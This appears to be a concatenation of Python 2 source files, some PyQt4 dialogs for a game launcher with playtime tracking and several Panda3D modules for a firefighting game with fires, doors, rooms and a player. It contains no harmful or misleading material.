SelectFile(self): global lastdir if lastdir == ":" and self.basefile: lastdir = os.path.dirname(self.basefile) files = QtGui.QFileDialog.getOpenFileNames(self, "Select icon file(s):", lastdir,\ "Files containing images or icons (*.bmp *.png *.jpg *.gif *.exe *.dll *.ico);;All files (*.*)" ) if len(files)>0: self.iconsList.clear() self.FillList(files) lastdir = os.path.dirname(str(files[0])) def SelectionChanged(self): self.okBtn.setEnabled(len(self.iconsList.selectedItems())==1) def SetIconSize(self, size): self.iconsList.setIconSize(QtCore.QSize(size, size)) def SuggestFiles(self, file): files = [] dir = os.path.dirname(file) dirList = os.listdir(dir) if os.path.isdir(dir) else ["."] for f in dirList: if os.path.join(dir,f) != file and (f.endswith(".exe") or f.endswith(".dll") or f.endswith(".ico") or f.endswith(".bmp")): files.append(os.path.join(dir,f)) return files class ProfileSettingsDialog(QtGui.QDialog): def __init__(self, profile, parent=None): QtGui.QDialog.__init__(self, parent) self.setWindowTitle("Profile settings") #self.resize(300,500) self.profile = profile class ManualTrackingDialog(QtGui.QDialog): AddTimeSignal = pyqtSignal(object, int) def __init__(self, entry, parent=None): QtGui.QDialog.__init__(self, parent) self.setWindowTitle(entry.label) self.entry = entry self.timer = QtCore.QTimer() self.timer.timeout.connect(self.UpdateTime) # init layout lay = QtGui.QHBoxLayout() picture = entry.icon.pixmap(128,128) pictureLabel = QtGui.QLabel() pictureLabel.setPixmap(picture) self.setWindowIcon(entry.icon) lay.addWidget(pictureLabel) lay2 = QtGui.QVBoxLayout() lay.addLayout(lay2) descLabel = QtGui.QLabel("It seems that FireStarter was unable to track your game time for <b>%s</b>.<br>This is a common issue when a game" % entry.label +" uses a launcher or an auto-updater.") self.timeLabel = QtGui.QLabel("A playing time of <b>0s</b> has been tracked.") descLabel2 = QtGui.QLabel("Once you finished playing, click <b>Add time to game</b> to<br>manually add your game time, or <b>Discard</b> to discard it.") lay2.addWidget(descLabel) lay2.addWidget(self.timeLabel) lay2.addWidget(descLabel2) btnLay = QtGui.QHBoxLayout() self.addBtn = QtGui.QPushButton("&Add time to game") self.addBtn.setDefault(True) self.addBtn.clicked.connect(self.AddTime) self.discardBtn = QtGui.QPushButton("&Discard") self.discardBtn.clicked.connect(self.reject) btnLay.addWidget(self.addBtn) btnLay.addWidget(self.discardBtn) lay2.addLayout(btnLay) self.setLayout(lay) # start timer self.runtime = 0. self.timer.start(1000) def __del__(self): self.timer.stop() def AddTime(self): self.timer.stop() self.AddTimeSignal.emit(self.entry, self.runtime) self.accept() def UpdateTime(self): self.runtime += 1. self.timeLabel.setText("A playing time of <b>%s</b> has been tracked." % formatTime(self.runtime, escapeLt=True)) class ProfileSelectionDialog(QtGui.QDialog): def __init__(self, parent=None): QtGui.QDialog.__init__(self, parent) self.newProfile = False self.profileName = "" self.newProfileText = " >> New profile ..." self.setWindowTitle("Select profile:") self.resize(120,150) # init children self.profileList = QtGui.QListWidget(self) self.profileList.addItem(self.newProfileText) dirList = os.listdir('.') for f in dirList: if f.endswith(".dat"): self.profileList.addItem(f) self.okBtn = QtGui.QPushButton("&Ok", self) self.okBtn.setDefault(True) self.okBtn.setEnabled(False) self.cancelBtn = QtGui.QPushButton("&Cancel", self) # init layout buttonsLayout= QtGui.QHBoxLayout() buttonsLayout.addWidget(self.okBtn) buttonsLayout.addWidget(self.cancelBtn) self.layout = lay = QtGui.QVBoxLayout() lay.addWidget(self.profileList) lay.addLayout(buttonsLayout) self.setLayout(lay) # init connections self.okBtn.clicked.connect(self.Accepted) self.cancelBtn.clicked.connect(self.reject) self.profileList.itemSelectionChanged.connect(self.SelectionChanged) self.profileList.itemActivated.connect(self.Accepted) def Accepted(self): selectedText = str(self.profileList.selectedItems()[0].text()) if selectedText == self.newProfileText: # new profile name,accepted = QtGui.QInputDialog.getText(self, "New profile", "Please enter a name for your new profile:", text="%s" % os.environ.get("USERNAME")) name += ".dat" if accepted: self.newProfile = True self.profileName = str(name) self.accept() else: # existing profile self.newProfile = False self.profileName = selectedText self.accept() def SelectionChanged(self): self.okBtn.setEnabled(len(self.profileList.selectedItems()) == 1) class EntryPropertiesDialog(QtGui.QDialog): def __init__(self, entry, parent=None): QtGui.QDialog.__init__(self, parent) self.setWindowTitle("Properties") #self.resize(300,500) self.entry = entry # dialog flags self.iconChanged = False # icon update necessary # create widgets self.okBtn = QtGui.QPushButton("&Ok", self) self.okBtn.setDefault(True) self.okBtn.clicked.connect(self.accept) self.cancelBtn = QtGui.QPushButton("&Cancel", self) self.cancelBtn.clicked.connect(self.reject) self.labelLe = AutoSelectAllLineEdit(entry.label, self) self.filenameLe = AutoSelectAllLineEdit(entry.filename, self) self.chooseExecutable = QtGui.QPushButton(QtGui.QIcon(os.path.join("gfx", "folder-open-icon.png")), "") self.cmdLineArgsLe = AutoSelectAllLineEdit(entry.cmdLineArgs, self) self.workingDirLe = AutoSelectAllLineEdit(entry.workingDir, self) self.chooseWorkingDir = QtGui.QPushButton(QtGui.QIcon(os.path.join("gfx", "folder-open-icon.png")), "") iconTxt = "\"" + entry.iconPath + "\",%i" % entry.preferredIcon if entry.preferredIcon > -1 else "-" self.iconLe = AutoSelectAllLineEdit(iconTxt) self.chooseIcon = QtGui.QPushButton(QtGui.QIcon(os.path.join("gfx", "folder-open-icon.png")), "") # init layout buttonsLayout= QtGui.QHBoxLayout() buttonsLayout.addWidget(self.okBtn) buttonsLayout.addWidget(self.cancelBtn) formLayout = QtGui.QGridLayout() formLayout.addWidget(QtGui.QLabel("Name:"), 0, 0) formLayout.addWidget(self.labelLe, 0, 1, 1, 2) formLayout.addWidget(QtGui.QLabel("Executable:"), 1, 0) formLayout.addWidget(self.filenameLe, 1, 1, 1, 1) formLayout.addWidget(self.chooseExecutable, 1, 2, 1, 1) formLayout.addWidget(QtGui.QLabel("Additional arguments:"), 2, 0) formLayout.addWidget(self.cmdLineArgsLe, 2, 1, 1, 2) formLayout.addWidget(QtGui.QLabel("Working directory:"), 3, 0) formLayout.addWidget(self.workingDirLe, 3, 1, 1, 1) formLayout.addWidget(self.chooseWorkingDir, 3, 2, 1, 1) formLayout.addWidget(QtGui.QLabel("Icon:"), 4, 0) formLayout.addWidget(self.iconLe, 4, 1, 1, 1) formLayout.addWidget(self.chooseIcon, 4, 2, 1, 1) #formLayout.addRow("Name:", self.labelLe) #formLayout.addRow("Executable:", self.filenameLe) #formLayout.addRow("Additional arguments:", self.cmdLineArgsLe) #formLayout.addRow("Working directory:", self.workingDirLe) #formLayout.addRow("Icon path:", iconWdg) mainLayout = QtGui.QVBoxLayout() mainLayout.addLayout(formLayout) mainLayout.addLayout(buttonsLayout) self.setLayout(mainLayout) self.InitConnections() def exec_(self): """ If the icon has been changed, return the new icon path """ result = QtGui.QDialog.exec_(self) if result == QtGui.QDialog.Accepted: self.entry.label = str(self.labelLe.text()) self.entry.filename = str(self.filenameLe.text()) self.entry.workingDir = str(self.workingDirLe.text()) self.entry.cmdLineArgs = str(self.cmdLineArgsLe.text()) if self.iconChanged: self.entry.iconPath = self.newIconPath self.entry.preferredIcon = self.newIconId self.entry.LoadIcon() self.entry.UpdateIcon.emit() self.entry.UpdateText.emit() self.entry.UpdateProfile.emit() return result def ChangeExecutable(self): file = QtGui.QFileDialog.getOpenFileName(self, "Choose executable:", self.filenameLe.text(), "Executable files (*.exe)") if file != "": self.filenameLe.setText(file) self.workingDirLe.setText(os.path.dirname(str(file))) def ChangeIcon(self): dlg = ChooseIconDialog(self, file=self.entry.iconPath, suggestions=True) result = dlg.exec_() if result == None: return else: path, id = result if self.entry.iconPath != path or self.entry.preferredIcon != id: self.newIconPath = path self.newIconId = id self.iconChanged = True self.changed = True iconTxt = "\"" + path + "\",%i" % id if id > -1 else "-" self.iconLe.setText(iconTxt) def ChangeWorkingDir(self): wd = QtGui.QFileDialog.getExistingDirectory(self, "Choose working directory:", self.workingDirLe.text()) if wd != "": self.workingDirLe.setText(wd) def InitConnections(self): self.chooseIcon.clicked.connect(self.ChangeIcon) self.chooseExecutable.clicked.connect(self.ChangeExecutable) self.chooseWorkingDir.clicked.connect(self.ChangeWorkingDir) class StatsOverviewDialog(QtGui.QMainWindow): def __init__(self, entries, parent=None, steamGames=[]): QtGui.QMainWindow.__init__(self, parent) self.setWindowTitle(u"Games overview") self.resize(645,640) # width 645 magic number games = [] games.extend(entries) games.extend(steamGames) self.entries = sorted(games, key=lambda entry: entry.totalTime, reverse=True) self.InitLayout() self.InitConnections() def InitLayout(self): self.ra = OverviewRenderArea(self.entries, self) self.toolBar = QtGui.QToolBar() sc = "Ctrl+S" saveViewShortcut = QtGui.QKeySequence(sc) self.saveAct = QtGui.QAction(QtGui.QIcon('gfx/save.png'), "Bild speichern (%s)" % sc.replace("Ctrl", "Strg"), self) self.saveAct.setShortcut(saveViewShortcut) self.toolBar.addAction(self.saveAct) sa = QtGui.QScrollArea() sa.setBackgroundRole(QtGui.QPalette.Shadow) sa.setAutoFillBackground(True) sa.setWidget(self.ra) sa.setAlignment(Qt.AlignCenter) self.setCentralWidget(sa) self.addToolBar(self.toolBar) def InitConnections(self): self.saveAct.triggered.connect(self.SaveImage) def SaveImage(self): pm = QtGui.QPixmap.grabWidget(self.ra) filename = QtGui.QFileDialog.getSaveFileName(self, "Save image...", "export", "Images (*.png *.jpg *.gif *.bmp);;All files (*.*)") if filename != "": pm.save(filename, format=None, quality=100) # def ChangeZoom(self, zoomlevel): # zoom = self.zoomSlider.steps[zoomlevel] # self.zoomLbl.setText("%i%%" % int(100.*zoom)) # self.ra.SetZoom(zoom) # self.ra.repaint() class ManageLibraryDialog(QtGui.QDialog): def __init__(self, entries, parent=None): QtGui.QDialog.__init__(self, parent) self.setWindowTitle("Manage library") self.resize(640,640) lay = QtGui.QVBoxLayout() self.libWdg = LibraryListWidget() self.libWdg.Fill(entries) lay.addWidget(self.libWdg) self.setLayout(lay) def exec_(self): QtGui.QDialog.exec_(self) print self.libWdg.modifications
Python
from pandac.PandaModules import * # Basic Panda modules from direct.showbase.DirectObject import DirectObject # For event handling from direct.actor.Actor import Actor # For animated models from direct.interval.IntervalGlobal import * # For compound intervals from direct.task import Task # For update functions from direct.particles.ParticleEffect import ParticleEffect #For particles import random class Door(object): def __init__(self, x = 0, y = 0, z = 0, orient = 0, id = 0, maxh = 3): #Health self.maxHealth = maxh self.curHealth = maxh #Position self.xPos = x self.yPos = y self.zPos = z self.orient = 90*(1-orient) #Door State self.destroyed = False self.debris = False #Model info self.node = loader.loadModel("Art/models/Door") self.node.setPos(self.xPos,self.yPos,self.zPos) self.node.setHpr(self.orient,0,0) self.node.setScale(1.2) self.node.reparentTo(render) self.node.hide() #setup visible model self.model = loader.loadModel("Art/models/Door") self.model.setPos(self.xPos,self.yPos,self.zPos) self.model.setHpr(self.orient,0,0) self.model.setScale(1.2) self.model.reparentTo(render) self.setupCollision() #Set up particle for collapsing self.collapseParticle = ParticleEffect() self.collapseParticle.loadConfig("Art/models/Door Poof.ptf") self.collapseParticle.setPos(x,y,z) self.particleTime = 0 self.id = id def damage(self): if self.debris == False: self.curHealth -= 1 #TODO: I can't find a better way to re-load models... self.model.remove() if(self.curHealth == 2): self.model = loader.loadModel("Art/models/Door 1") if(self.curHealth == 1): self.model = loader.loadModel("Art/models/Door 2") if(self.curHealth == 0): self.destroyed = True self.collapseParticle.start(parent = render, renderParent = render) self.particleTime = 0 return self.model.setPos(self.xPos,self.yPos,self.zPos) self.model.setHpr(self.orient,0,0) self.model.setScale(1.2) self.model.reparentTo(render) def roomCollapsed(self): self.debris = True self.model.remove() self.model = loader.loadModel("Art/models/Debris") self.model.setPos(self.xPos,self.yPos,self.zPos) self.model.setHpr(random.randint(0,360),0,0) self.model.setScale(1.2) self.model.reparentTo(render) self.collapseParticle.start(parent = render, renderParent = render) self.particleTime = 0 def setupCollision(self): self.doorGroundSphere = CollisionTube(0, 0, 1, 0, 0, 7, 2) self.doorGroundCol = CollisionNode('doorTube') self.doorGroundCol.addSolid(self.doorGroundSphere) self.doorGroundColNp = self.node.attachNewNode(self.doorGroundCol) #self.doorGroundColNp.show() #self.doorGroundCol.setIntoCollideMask(BitMask32(0x1)) base.door_dict[self.doorGroundColNp] = self
Python
from pandac.PandaModules import * # Basic Panda modules from direct.showbase.DirectObject import DirectObject # For event handling from direct.actor.Actor import Actor # For animated models from direct.interval.IntervalGlobal import * # For compound intervals from direct.task import Task # For update functions from direct.particles.ParticleEffect import ParticleEffect #For particles from direct.task import Task import math class Player(object): def __init__(self): #turn off default mouse control, otherwise camera isn't repositionable #base.disableMouse() self.position = [0, 0, 6] self.rotation = [0, 0, 0] self.loadModel() self.setUpCamera() self.keyMap = {"left":0, "right":0, "forward":0, "backward":0} taskMgr.add(self.mouseUpdate, "mouse-task") taskMgr.add(self.moveUpdate, "move-task") taskMgr.add(self.animate, "animate-task") self.prevtime = 0 self.animtime = 0 self.isMoving = False self.health = 100.0 self.speed = 30.0 self.extinguisher_mode = True self.melee_mode = False self.acting = False self.spraying = False self.has_struck = False self.can_strike = False self.swing_angle = 0.0 self.swing_speed = 350.0 def setKey(self, key, value): self.keyMap[key] = value def loadModel(self): """ make the nodepath for player """ self.node = loader.loadModel("Art/models/Player") self.node.reparentTo(render) self.view = loader.loadModel("Art/models/Player") self.view.reparentTo(self.node) self.view.setPos(0,0,6) #setup Fire extinguisher model self.extinguisher = loader.loadModel("Art/models/Fire Extinguisher Use") self.extinguisher.reparentTo(self.view) self.extinguisher.setHpr(-90,0,15) self.extinguisher.setPos(0.8, 3.5, -4) self.extinguisher.show() #Setup axe model self.axe = loader.loadModel("Art/models/Axe") self.axe.reparentTo(self.view) self.axe.setHpr(-45, -50, 45) self.axe.setPos(-2.9, 3.5, -2.2) self.axe.hide() #TODO: Change to a final model or work out particle effects, self.spray = ParticleEffect() self.spray.loadConfig("Art/models/Fire Extinguisher.ptf") self.spray.setHpr(15, -105, 0) self.spray.setPos(.7, 5.7, -.7) self.spray.disable() def setUpCamera(self): """ puts camera at the players node """ pl = base.cam.node().getLens() pl.setFov(60) base.cam.node().setLens(pl) base.camera.reparentTo(self.view) def mouseUpdate(self,task): """ this task updates the mouse """ md = base.win.getPointer(0) x = md.getX() y = md.getY() if base.win.movePointer(0, base.win.getXSize()/2, base.win.getYSize()/2): self.view.setH(self.view.getH() - (x - base.win.getXSize()/2)*0.1) self.view.setP(self.view.getP() - (y - base.win.getYSize()/2)*0.1) if self.view.getP() > 90: self.view.setP(90) if self.view.getP() < -90: self.view.setP(-90) return task.cont def moveUpdate(self, task): elapsed = task.time - self.prevtime self.rotation = self.view.getHpr() self.position = list(self.node.getPos()) self.vel_vec = [0, 0] self.angle = 0 self.moving = False if self.keyMap["forward"] or self.keyMap["left"] or self.keyMap["right"] or self.keyMap["backward"]: if self.keyMap["forward"]: self.moving = True self.angle += 90 if self.keyMap["left"]: self.angle += 45 if self.keyMap["right"]: self.angle -= 45 if self.keyMap["backward"]: self.moving = True self.angle -= 90 if self.keyMap["left"]: self.angle -= 45 if self.keyMap["right"]: self.angle += 45 if self.moving == False: if self.keyMap["left"]: self.moving = True self.angle = 180 if self.keyMap["right"]: self.moving = not self.moving if(self.moving): self.vel_vec = [self.speed*elapsed*math.cos(math.radians(self.rotation[0]+self.angle)), self.speed*elapsed*math.sin(math.radians(self.rotation[0]+self.angle))] self.position[0] += self.vel_vec[0] self.position[1] += self.vel_vec[1] self.position[2] -= 15*elapsed if(self.position[2] < 0): self.position[2] = 0 self.node.setPos(self.position[0], self.position[1], self.position[2]) self.prevtime = task.time return Task.cont def sprayOn(self): self.spraying = True self.spray.start(parent = self.view, renderParent = self.view) #print "extinguishering!" def sprayOff(self): self.spray.disable() self.spraying = False def melee(self): '''setup axe swing''' self.acting = True #TODO: adjust starting angle #the axe needs a new rotational axis self.axe.setHpr(-70, -20, 0) self.axe.setPos(0, 2, -3) def endMelee(self): '''end melee animation and reset to idle''' self.acting = False self.has_struck = False self.can_strike = False self.swing_angle = 0.0 self.axe.setHpr(-45, -50, 45) self.axe.setPos(-2.9, 3.5, -2.2) def animate(self, task): '''animate swinging axe''' elapsed = task.time - self.animtime if(self.melee_mode and self.acting): #animate downward swing if(self.swing_angle >= -130): self.swing_angle -= 1*self.swing_speed*elapsed self.axe.setR(self.swing_angle) #damage door halfway through swing if(not self.has_struck and self.swing_angle >= (-130/2)): self.can_strike = True #end swing animation else: self.endMelee() self.animtime = task.time return task.cont def switchMode(self): '''call to switch between melee/spray mode''' self.extinguisher_mode = not self.extinguisher_mode self.melee_mode = not self.melee_mode self.axe.show() if self.melee_mode else self.axe.hide() self.extinguisher.show() if self.extinguisher_mode else self.extinguisher.hide() self.spray.disable() if(self.melee_mode): self.sprayCloud.setCenter(0,6,0) elif(self.extinguisher_mode): self.sprayCloud.setCenter(0,13,-1) def doAction(self): '''handle mouse left click''' if(self.extinguisher_mode): if(not self.acting): self.sprayOn() elif(self.melee_mode): if(not self.acting): self.melee() def endAction(self): '''handle mouse left click release''' if(self.extinguisher_mode): self.sprayOff() def setupCollisions(self, trav): #colision nodes and solids self.playerGroundSphere = CollisionSphere(0,0,1.5,1.5) self.playerGroundCol = CollisionNode('playerSphere') self.playerGroundCol.addSolid(self.playerGroundSphere) self.playerGroundCol.setIntoCollideMask(BitMask32.allOff()) self.playerGroundColNp = self.node.attachNewNode(self.playerGroundCol) self.playerGroundCol.setFromCollideMask(BitMask32(0x2)) #self.playerGroundColNp.show() trav.addCollider(self.playerGroundColNp, base.pusher) base.pusher.addCollider(self.playerGroundColNp, self.node) self.sprayCloud = CollisionSphere(0,13,-1,3) self.sprayCol = CollisionNode('sprayCloud') self.sprayCol.addSolid(self.sprayCloud) self.sprayColNp = self.view.attachNewNode(self.sprayCol) #self.sprayColNp.show() trav.addCollider(self.sprayColNp, base.cHandler)
Python
import random from fire import Fire class Room(object): #Static "rooms collapsed" roomsCollapsed = 0 def __init__(self, levelfile): #Open and format file data = open(levelfile).readlines() data = [line.rstrip() for line in data] #Set Room Information self.name = data[0] self.maxFires = int(data[1]) self.roomRects = data[2].split(';') for i, rectangle in enumerate(self.roomRects): self.roomRects[i] = rectangle.split(',') for j, coordinate in enumerate(self.roomRects[i]): self.roomRects[i][j] = float(coordinate) if len(self.roomRects[i]) != 4: print "Corrupted level file, improper rects: %s" % levelfile quit() self.zLevel = float(data[3]) #Keeps track of time for room damage self.lastTime = 0 #Determines item spawn location information itemSpawn = data[4] itemSpawn = itemSpawn.split(';') if itemSpawn[0] == 'y': self.itemsSpawn = True else: self.itemsSpawn = False self.spawnLocations = [] if self.itemsSpawn == True: self.spawnLocations = itemSpawn[1:] for i, location in enumerate(self.spawnLocations): self.spawnLocations[i] = location.split(',') for coordinate in self.spawnLocations[i]: coordinate = float(coordinate) if len(self.spawnLocations[i])!= 3: print "Corrupted level file, improper item spawn locations: %s" % levelfile quit() #Health Info if data[5] == 'Y': self.canBeDestroyed = True else: self.canBeDestroyed = False self.maxHealth = float(data[6]) self.curHealth = self.maxHealth self.isDestroyed = False #List of room's fire data self.fireList = [self.maxFires] try: self.door_ids = data[7].split(';') print self.door_ids self.door_ids = [int(id) for id in self.door_ids] except: print "no door ids found for room %s" % self.name self.door_ids = [] pass self.lastSpread = 0 #Item information self.itemContained = None self.itemLocation = 0 def spawnFireRandom(self): chosenrect = int(random.uniform(0,len(self.roomRects))) xpos = random.uniform(self.roomRects[chosenrect][0],self.roomRects[chosenrect][2]) ypos = random.uniform(self.roomRects[chosenrect][1],self.roomRects[chosenrect][3]) self.fireList.append(Fire(x = xpos, y = ypos, z = self.zLevel)) def updateFires(self, task): """Updates the fires in the room""" #Update fires remove_list = [] for i, fire in enumerate(self.fireList[1:]): if(self.fireList[i+1].isDone()): remove_list.append(self.fireList[i+1]) else: self.fireList[i+1].update(self.fireList, task) if fire.spawnNeeded == True: self.fireList[i + 1].spawnNeeded = False self.spawnFireRandom() #remove done fires for a_fire in remove_list: del base.fire_dict[a_fire.fireGroundColNp] self.fireList.remove(a_fire) #print "removing fire" #Check if room is destroyed if self.isDestroyed == False: elapsed = task.time - self.lastTime if(elapsed > 1.2): self.lastTime = task.time numfires = len(self.fireList) - 1 self.curHealth -= numfires * .2 if self.curHealth <= 0 and self.canBeDestroyed == True: self.collapse() def collapse(self): """Collapses a room""" self.isDestroyed = True for i, f in enumerate(self.fireList[1:]): self.fireList[i + 1].cleanup() self.fireList = self.fireList[0:1] for an_id in self.door_ids: base.door_dict[an_id].roomCollapsed() print self.name + " has collapsed!" Room.roomsCollapsed += 1
Python
import direct.directbase.DirectStart # Starts Panda from pandac.PandaModules import * # Basic Panda modules from direct.showbase.DirectObject import DirectObject # For event handling from direct.actor.Actor import Actor # For animated models from direct.interval.IntervalGlobal import * # For compound intervals from direct.task import Task # For update functions from direct.particles.ParticleEffect import ParticleEffect #For particles from direct.gui.OnscreenImage import OnscreenImage import sys, math, random, os from fire import Fire from room import Room from player import Player from door import Door class World(DirectObject): def __init__(self): #messenger.toggleVerbose() #Initialization base.disableMouse() base.enableParticles() base.fire_dict = {} base.door_dict = {} camera.setPosHpr(0,0,0,0,0,0) self.loadModels() self.setupLights() #title screen self.titlescreen = OnscreenImage("Art/art/Fireman Fred Title Screen.png") self.titlescreen.reparentTo(render2d) self.at_title = True self.game_over = False #Initialize collisions self.setupCollisions() #Load rooms self.loadRooms() self.loadDoors() #Fire Information fireslit = 0 while(fireslit < 10): room = int(random.uniform(0,len(self.roomList))) if len(self.roomList[room].fireList) < 2: self.roomList[room].spawnFireRandom() print self.roomList[room].name fireslit += 1 #Keymap self.keyMap = {"left":False, "right":False, "forward":False} #Tasks taskMgr.add(self.updateFires, "fireTask") taskMgr.add(self.updateLights, "lightsTask") taskMgr.add(self.updateDoors, "doorsTask") taskMgr.add(self.gameOverCheck, "gameoverTask") taskMgr.add(self.winCheck, "winTask") #Window Properties props = WindowProperties() props.setCursorHidden(True) props.setMouseMode(1) base.win.requestProperties(props) #Initialize a player self.player = Player() self.player.setupCollisions(base.cTrav) #Control Information self.accept("escape", sys.exit) self.accept("enter-up", self.changeScreen) self.accept("w", self.player.setKey, ["forward", 1]) self.accept("s", self.player.setKey, ["backward", 1]) self.accept("d", self.player.setKey, ["right", 1]) self.accept("a", self.player.setKey, ["left", 1]) self.accept("w-up", self.player.setKey, ["forward", 0]) self.accept("d-up", self.player.setKey, ["right", 0]) self.accept("a-up", self.player.setKey, ["left", 0]) self.accept("s-up", self.player.setKey, ["backward", 0]) self.accept('mouse1', self.player.doAction) self.accept('mouse1-up', self.player.endAction) self.accept('e-up', self.player.switchMode) self.accept('p', self.debugPrintPlayerPosition) #Collision handler setups self.accept("target-fireSphere", self.sprayFire) self.accept("target-again-fireSphere", self.sprayFire) self.accept("target-doorTube", self.hitDoor) self.accept("target-again-doorTube", self.hitDoor) #Timing for door effects self.lastTime = 0 def changeScreen(self): if(self.at_title): self.at_title = False self.titlescreen.destroy() if(self.game_over): self.game_over = False self.gameoverscreen.destroy() ppython = sys.executable os.execl(ppython, ppython, * sys.argv) def win(self): self.game_over = True self.gameoverscreen = OnscreenImage("Art/art/Fireman Fred Win Screen.png") self.gameoverscreen.reparentTo(render2d) def gameOver(self): self.game_over = True self.gameoverscreen = OnscreenImage("Art/art/Fireman Fred Game Over Screen.png") self.gameoverscreen.reparentTo(render2d) def loadModels(self): self.env = loader.loadModel("Art/models/Structure") self.env.reparentTo(render) self.stairCollision = loader.loadModel("Art/models/Stair Collision No Clip") self.stairCollision.reparentTo(render) self.visibleFloor = loader.loadModel("Art/models/Visible floor") self.visibleFloor.reparentTo(render) self.stairModels = loader.loadModel("Art/models/Stairs All") self.stairModels.reparentTo(render) self.targets = [] def loadRooms(self): self.roomList = open("lvl/rooms.dat").readlines() self.roomList = [line.rstrip() for line in self.roomList] self.roomList = [Room("lvl/" + filename) for filename in self.roomList] """" #Debugging for room coordinates for r in self.roomList: for i, rects in enumerate(r.roomRects): testmodel = loader.loadModel("Art/models/Player") testmodel2 = loader.loadModel("Art/models/Player") testmodel.reparentTo(render) testmodel2.reparentTo(render) testmodel.setPos(r.roomRects[i][0],r.roomRects[i][1],r.zLevel) testmodel2.setPos(r.roomRects[i][2],r.roomRects[i][3],r.zLevel) """ def loadDoors(self): self.doorList = open("lvl/doors.dat").readlines() self.doorList = [line.split('|') for line in self.doorList] #make sure door coords are getting loaded right # for a_door in self.doorList: # print a_door[2].split(',') self.doorList = [Door(x = float(door_data[3].split(',')[0]), y = float(door_data[3].split(',')[1]), z = float(door_data[3].split(',')[2]), orient = int(door_data[4]), id = int(door_data[0])) for door_data in self.doorList] for a_door in self.doorList: base.door_dict[a_door.id] = a_door def setupLights(self): """loads initial lighting""" #Light 1 self.dirLight = DirectionalLight("dirLight") self.dirLight.setColor((.25,.15,.05,1)) self.dirLightNP = render.attachNewNode(self.dirLight) self.dirLightNP.setHpr(230,-25,0) render.setLight(self.dirLightNP) #Light 2 self.dirLight2 = DirectionalLight("dirLight2") self.dirLight2.setColor((.25,.25,.05,1)) self.dirLight2NP = render.attachNewNode(self.dirLight2) self.dirLight2NP.setHpr(50,25,0) render.setLight(self.dirLight2NP) self.lastFlicker = 0 self.flicker = 0 self.flickerChance = 0 #Ambient Light self.ambientLight = AmbientLight("ambientLight") self.ambientLight.setColor((.105,.09,.07,1)) self.ambientLightNP = render.attachNewNode(self.ambientLight) render.setLight(self.ambientLightNP) def setupCollisions(self): # Initialize the collision traverser. base.cTrav = CollisionTraverser() # Initialize the Pusher collision handler. base.pusher = CollisionHandlerPusher() base.cHandler = CollisionHandlerEvent() base.cHandler.setInPattern("target-%in") base.cHandler.addAgainPattern('target-again-%in') #base.cTrav.showCollisions(render) def updateLights(self, task): if(self.at_title): return Task.cont msTime = task.time * 1000 if msTime > self.lastFlicker + 150 - self.flickerChance * 250: self.flicker = random.uniform(1.5,2.7) self.flicker *= 6 self.flicker /= 18 self.dirLight.setColor((self.flicker, self.flicker / 2, self.flicker / 5, 1)) self.dirLight2.setColor((self.flicker, self.flicker / 2, self.flicker / 5, 1)) self.lastFlicker = msTime self.flickerChance = math.fabs(self.flicker - .5) self.flickerChance *= self.flickerChance self.flickerChance *= 2 return Task.cont def updateFires(self, task): if(self.at_title): return Task.cont #Manages Spreading for i, r in enumerate(self.roomList): r.updateFires(task); if task.time - r.lastSpread > 10 and (float(r.curHealth)/r.maxHealth) < .5 and len(r.fireList)/r.fireList[0] > .5: self.roomList[i].lastSpread = task.time roll = random.uniform(1,100) if roll > 80: lit = False while(not lit): room = int(random.uniform(0,len(self.roomList))) if len(self.roomList[room].fireList) < 2 and self.roomList[room].isDestroyed == False: self.roomList[room].spawnFireRandom() print self.roomList[room].name lit = True return Task.cont def debugPrintPlayerPosition(self): print "Position:" print "X: " + str(self.player.position[0]) print "Y: " + str(self.player.position[1]) + "\n" def sprayFire(self, cEntry): '''do damage to fire''' if(self.player.extinguisher_mode and self.player.spraying): base.fire_dict[cEntry.getIntoNodePath()].health -= 10 if(base.fire_dict[cEntry.getIntoNodePath()].isDone()): cEntry.getIntoNodePath().getParent().remove() def hitDoor(self, cEntry): '''do damage to door''' if(self.player.melee_mode and self.player.acting and self.player.can_strike): self.player.can_strike = False self.player.has_struck = True #print "axed door!" base.door_dict[cEntry.getIntoNodePath()].damage() if(base.door_dict[cEntry.getIntoNodePath()].destroyed): cEntry.getIntoNodePath().getParent().remove() del base.door_dict[cEntry.getIntoNodePath()] def gameOverCheck(self, task): if Room.roomsCollapsed >= 5: self.gameOver() return Task.cont def winCheck(self, task): fires = 0 for r in self.roomList: fires += len(r.fireList) - 1 if fires == 0: self.win() return Task.cont def updateDoors(self, task): elapsed = task.time - self.lastTime for key in base.door_dict: base.door_dict[key].particleTime += elapsed if base.door_dict[key].particleTime > .5: base.door_dict[key].collapseParticle.disable() self.lastTime = task.time return Task.cont w = World() run()
Python
from pandac.PandaModules import * # Basic Panda modules from direct.showbase.DirectObject import DirectObject # For event handling from direct.actor.Actor import Actor # For animated models from direct.interval.IntervalGlobal import * # For compound intervals from direct.task import Task # For update functions from direct.particles.ParticleEffect import ParticleEffect #For particles import random from direct.particles.ParticleEffect import ParticleEffect class Fire(object): def __init__(self, x = 0, y = 0, z = 0, startsize = .5, maxsize = 5.0, growspeed = .5, starttime = 0.0, xweight = 0, yweight = 0): """Initializes a fire object""" #Position self.xPos = x self.yPos = y self.zPos = z #Initial Starting Data self.startSize = startsize self.maxSize = maxsize self.growSpeed = growspeed self.startTime = starttime self.maxSpreads = 3 #Current Information self.size = startsize self.timesSpread = 0 #Timings self.lastUpdate = starttime self.lastSpreadCheck = 0 #Direction the fire is spreading self.xWeight = xweight self.yWeight = yweight #Load the model and attach to render self.effect = ParticleEffect() self.effect.loadConfig("Art/models/Fire.ptf") self.effect.setPos(x,y,z) self.effect.start(parent = render, renderParent = render) #Whether fire needs to spread self.spawnNeeded = False self.health = 100 self.done = False self.setupCollision() def update(self, firelist, task): """Updates the fire size and checks if it should spread""" curTime = task.time elapsedTime = (curTime - self.lastUpdate) self.lastUpdate = curTime #Cause the fire to grow, check size boundary self.size += self.growSpeed * elapsedTime if(self.size > self.maxSize): self.size = self.maxSize #Check for spreading chance if fire big enough and enough time (15s) has elapsed if(len(firelist) <= firelist[0]): if self.timesSpread < self.maxSpreads: if self.size >= self.maxSize * (2.0/3): if curTime - self.lastSpreadCheck > 3: self.lastSpreadCheck = curTime roll = random.uniform(1,100) if roll > 90: self.spawnNeeded = True if self.done: pass def cleanup(self): self.effect.cleanup() def setupCollision(self): self.fireGroundSphere = CollisionSphere(0,0,0,2) self.fireGroundCol = CollisionNode('fireSphere') self.fireGroundCol.addSolid(self.fireGroundSphere) self.fireGroundColNp = self.effect.attachNewNode(self.fireGroundCol) 